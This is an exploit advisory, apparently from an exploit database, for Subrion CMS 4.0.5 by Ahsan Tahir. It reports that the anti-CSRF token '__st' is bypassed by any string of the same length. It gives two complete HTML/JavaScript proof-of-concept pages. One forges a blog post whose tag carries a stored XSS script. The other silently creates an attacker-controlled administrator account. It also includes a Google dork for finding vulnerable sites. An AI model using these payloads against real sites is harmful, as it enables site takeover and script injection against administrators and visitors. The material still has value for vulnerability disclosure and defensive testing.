1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
# Exploit Title: Subrion CMS 4.0.5 - CSRF Bypass to Persistent XSS and Add-Admin # Date: 15-10-2016 # Software Link: http://www.subrion.org/download/ # Vendor: http://www.subrion.org # Google Dork: "Powered by Subrion CMS" # Exploit Author: Ahsan Tahir # Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial # Website: www.ahsantahir.net # Category: webapps # Version: 4.0.5 # Tested on: [Kali Linux 2.0 | Windows 8.1] # Email: mrahsan1337@gmail.com [+] CSRF bypass to Persistent XSS 1. Description There was an Anti-CSRF token while adding a post in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, a blog post will be created with a tag like this: "</title><script>alert(document.domain);</script>" and now the XSS can be executed here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/ 2. Proof of Concept (CSRF to Persistent XSS) Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new post named "Hacked by Ahsan" will be created, with a tag "</title><script>alert(document.domain);</script>", means that we exploited CSRF sucessfully! XSS will execute here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/ [!] PoC Code: <html> <!-- CSRF PoC --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/subi/admin/blog/add/", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------292766351574"); xhr.withCredentials = true; var body = "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"__st\"\r\n" + "\r\n" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"title\"\r\n" + "\r\n" + "Hacked by Ahsan Tahir\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"alias\"\r\n" + "\r\n" + "\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"body\"\r\n" + "\r\n" + "\x3cp\x3eHacked by Ahsan Tahir\x3c/p\x3e\r\n" + "\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"tags\"\r\n" + "\r\n" + "\x3c/title\x3e\x3cscript\x3ealert(document.domain);\x3c/script\x3e\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"v[image]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"owner\"\r\n" + "\r\n" + "Administrator (emailofadmin@gmail.com)\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"member_id\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"date_added\"\r\n" + "\r\n" + "2016-10-15 04:41\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"status\"\r\n" + "\r\n" + "active\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"save\"\r\n" + "\r\n" + "Add\r\n" + "-----------------------------292766351574\r\n" + "Content-Disposition: form-data; name=\"goto\"\r\n" + "\r\n" + "list\r\n" + "-----------------------------292766351574--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ---------------------------------------------------------------------------------------------------------------------- [+] Add-Admin CSRF 1. Description There was an Anti-CSRF token while adding an admin in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, a new admin will be created with an email which is controled by attacker, means now the attacker have full administration over the Subrion CMS Blog! 2. Proof of Concept Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new admin named "Haxor" will be created, with email "ahsan@ahsan.py", means that we exploited the CSRF sucessfully, and now the attacker has full control over the subrion blog! [!] PoC Code: <html> <!-- CSRF PoC --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/subi/admin/members/add/", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2573679013209"); xhr.withCredentials = true; var body = "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"__st\"\r\n" + "\r\n" + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"username\"\r\n" + "\r\n" + "haxor\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"fullname\"\r\n" + "\r\n" + "Craxor\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "ahsan@ahsan.py\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"_password\"\r\n" + "\r\n" + "ahsan123\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"_password2\"\r\n" + "\r\n" + "ahsan123\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"usergroup_id\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"website\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"phone\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"biography\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"facebook\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"twitter\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"gplus\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"linkedin\"\r\n" + "\r\n" + "\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"sponsored\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"featured\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"featured_end\"\r\n" + "\r\n" + "2016-11-15 04:54\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"status\"\r\n" + "\r\n" + "active\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"save\"\r\n" + "\r\n" + "Add\r\n" + "-----------------------------2573679013209\r\n" + "Content-Disposition: form-data; name=\"goto\"\r\n" + "\r\n" + "list\r\n" + "-----------------------------2573679013209--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> Credits & Authors: ================== Ahsan Tahir - [https://twitter.com/AhsanTahirAT] |